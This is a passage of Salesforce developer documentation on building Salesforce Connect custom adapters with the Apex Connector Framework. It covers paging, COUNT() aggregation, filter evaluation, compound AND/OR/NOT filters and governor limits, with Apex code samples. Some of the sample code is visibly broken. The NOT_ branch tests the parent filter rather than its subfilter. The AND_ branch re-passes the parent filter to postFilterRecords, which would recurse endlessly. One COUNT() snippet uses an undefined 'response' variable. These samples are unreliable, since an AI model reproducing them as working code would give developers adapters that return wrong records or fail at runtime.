DataSource.TableResult. If the total size is larger than the number of rows that are returned in the batch, we generate a
nextRecordsUrl link and set the done flag to false. We also set the totalSize in the TableResult to the value that
you supply.
If the external system can’t return the total size for each query, don’t declare the QUERY_TOTAL_SIZE capability in your
DataSource.Provider class. Whenever we do a query through your custom adapter, we ask for one extra row. For example, if
you run the query SELECT ExternalId FROM Sample LIMIT 5, we call the query method on the
DataSource.Connection object with a DataSource.QueryContext that has the maxResults property set to 6.
The presence or absence of that sixth row in the result set indicates whether more data is available. We assume, however, that the data
set we query against doesn’t change between queries. If the data set changes between queries, you might see repeated rows or not
get all results.
Ultimately, accessing external data works most efficiently when you retrieve small amounts of data and the data set that you query
against changes infrequently.
SEE ALSO:
queryMore with the Apex Connector Framework
Aggregation for Salesforce Connect Custom Adapters
If you receive a COUNT() query, the selected column has the value QueryAggregation.COUNT in its aggregation property.
The selected column is provided in the columnsSelected property on the tableSelection for the
DataSource.QueryContext.
The following example illustrates how to apply the value of the aggregation property to handle COUNT() queries.
// Handle COUNT() queries
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
QueryAggregation.COUNT) {
List<Map<String, Object>> countResponse = new List<Map<String, Object>>();
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Map<String, Object> countRow = new Map<String, Object>();
countRow.put(context.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return countResponse;
}
An aggregate query can still have filters, so your query method can be implemented like the following example to support basic
aggregation queries, with or without filters.
override global DataSource.TableResult query(DataSource.QueryContext context) {
List<Map<String,Object>> rows = retrieveData(context);
List<Map<String,Object>> response = postFilterRecords(
context.tableSelection.filter, rows);
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
List<Map<String, Object>> countResponse = new List<Map<String,
Object>>();
Map<String, Object> countRow = new Map<String, Object>();
countRow.put(context.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return DataSource.TableResult.get(context, countResponse);
}
return DataSource.TableResult.get(context, response);
}
SEE ALSO:
QueryContext Class
Create a Sample DataSource.Connection Class
Filters in the Apex Connector Framework
The DataSource.QueryContext contains one DataSource.TableSelection. The DataSource.SearchContext
can have more than one TableSelection. Each TableSelection has a filter property that represents the WHERE
clause in a SOQL or SOSL query.
For example, when a user goes to an external object’s record detail page, your DataSource.Connection is executed. Behind
the scenes, we generate a SOQL query similar to the following.
SELECT columnNames
FROM externalObjectApiName
WHERE ExternalId = 'selectedExternalObjectExternalId'
This SOQL query causes the query method on your DataSource.Connection class to be invoked. The following code can
detect this condition.
if (context.tableSelection.filter != null) {
if (context.tableSelection.filter.type == DataSource.FilterType.EQUALS
&& 'ExternalId' == context.tableSelection.filter.columnName
&& context.tableSelection.filter.columnValue instanceOf String) {
String selection = (String)context.tableSelection.filter.columnValue;
return DataSource.TableResult.get(true, null,
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tableSelection.tableSelected, findSingleResult(selection));
}
}
This code example assumes that you implemented a findSingleResult method that returns a single record, given the selected
ExternalId. Make sure that your code obtains the record that matches the requested ExternalId.
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Evaluating Filters in the Apex Connector Framework
A filter evaluates to true for a row if that row matches the conditions that the filter describes.
Compound Filters in the Apex Connector Framework
Filters can have child filters, which are stored in the subfilters property.
Evaluating Filters in the Apex Connector Framework
A filter evaluates to true for a row if that row matches the conditions that the filter describes.
For example, suppose that a DataSource.Filter has columnName set to meaningOfLife, columnValue set to 42,
and type set to EQUALS. Any row in the remote table whose meaningOfLife column entry equals 42 is returned.
Suppose, instead, that the filter has type set to LESS_THAN, columnValue set to 3, and columnName set to numericCol.
We’d construct a DataSource.TableResult object that contains all the rows that have a numericCol value less than 3.
To improve performance, do all the filtering in the external system. You can, for example, translate the Filter object into a SQL or
OData query, or map it to parameters on a SOAP query. If the external system returns a large set of data, and you do the filtering in your
Apex code, you quickly exceed your governor limits.
If you can’t do all the filtering in the external system, do as much as possible there and return as little data as possible. Then filter the
smaller collection of data in your Apex code.
SEE ALSO:
Filter Class
Compound Filters in the Apex Connector Framework
Filters can have child filters, which are stored in the subfilters property.
If a filter has children, the filter type must be one of the following.
Filter Type
Description
AND_
We return all rows that match all of the subfilters.
OR_
We return all rows that match any of the subfilters.
NOT_
The filter reverses how its child filter evaluates rows. Filters of this type can have only one subfilter.
This code example illustrates how to deal with compound filters.
override global DataSource.TableResult query(DataSource.QueryContext context) {
// Call out to an external data source and retrieve a set of records.
// We should attempt to get as much information as possible about the
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// query from the QueryContext, to minimize the number of records
// that we return.
List<Map<String,Object>> rows = retrieveData(context);
// This only filters the results. Anything in the query that we don’t
// currently support, such as aggregation or sorting, is ignored.
return DataSource.TableResult.get(context, postFilterRecords(
context.tableSelection.filter, rows));
}
private List<Map<String,Object>> retrieveData(DataSource.QueryContext context) {
// Call out to an external data source. Form the callout so that
// it filters as much as possible on the remote site,
// based on the parameters in the QueryContext.
return ...;
}
private List<Map<String,Object>> postFilterRecords(
DataSource.Filter filter, List<Map<String,Object>> rows) {
if (filter == null) {
return rows;
}
DataSource.FilterType type = filter.type;
List<Map<String,Object>> retainedRows = new List<Map<String,Object>>();
if (type == DataSource.FilterType.NOT_) {
// We expect one Filter in the subfilters.
DataSource.Filter subfilter = filter.subfilters.get(0);
for (Map<String,Object> row : rows) {
if (!evaluate(filter, row)) {
retainedRows.add(row);
}
}
return retainedRows;
} else if (type == DataSource.FilterType.AND_) {
// For each filter, find all matches; anything that matches ALL filters
// is returned.
retainedRows = rows;
for (DataSource.Filter subfilter : filter.subfilters) {
retainedRows = postFilterRecords(filter, retainedRows);
}
return retainedRows;
} else if (type == DataSource.FilterType.OR_) {
// For each filter, find all matches. Anything that matches
// at least one filter is returned.
for (DataSource.Filter subfilter : filter.subfilters) {
List<Map<String,Object>> matchedRows = postFilterRecords(
subfilter, rows);
retainedRows.addAll(matchedRows);
}
return retainedRows;
} else {
// Find all matches for this filter in our collection of records.
for (Map<String,Object> row : rows) {
if (evaluate(filter, row)) {
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retainedRows.add(row);
}
}
return retainedRows;
}
}
private Boolean evaluate(DataSource.Filter filter, Map<String,Object> row) {
if (filter.type == DataSource.FilterType.EQUALS) {
String columnName = filter.columnName;
Object expectedValue = filter.columnValue;
Object foundValue = row.get(columnName);
return expectedValue.equals(foundValue);
} else {
// Throw an exception; implementing other filter types is left
// as an exercise for the reader.
throwException('Unexpected filter type: ' + filter.type);
}
return false;
}
SEE ALSO:
Filter Class
Considerations for the Apex Connector Framework
Understand the limits and considerations for creating Salesforce Connect custom adapters with the Apex Connector Framework.
• If you change and save a DataSource.Connection class, resave the corresponding DataSource.Provider class.
Otherwise, when you define the external data source, the custom adapter doesn’t appear as an option for the Type field.
• Make sure that you understand the limits of the external system’s APIs. For example, some external systems accept only requests
for up to 40 rows.
• Apex data type limitations:
– Double—The value loses precision beyond 18 significant digits. For higher precision, use decimals instead of doubles.
– String—If the length is greater than 255 characters, the string is mapped to a long text area field in Salesforce.
• Custom adapters for Salesforce Connect are subject to the same limitations as any other Apex code. For example:
– All Apex governor limits apply.
– Apex callouts aren’t allowed after data manipulation language (DML) operations in the same transaction. Therefore, within the
same transaction, you can’t update a Salesforce record and then do an Apex callout.
– Test methods don’t support web service callouts. Tests that perform web service callouts fail. For an example that shows how
to avoid these failing tests by returning mock responses, see Google Drive™ Custom Adapter for Salesforce Connect on page
408.
Apex Connector Framework Examples
These examples illustrate how to use the Apex Connector Framework to create custom adapters for Salesforce Connect.
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IN THIS SECTION:
Google Drive™ Custom Adapter for Salesforce Co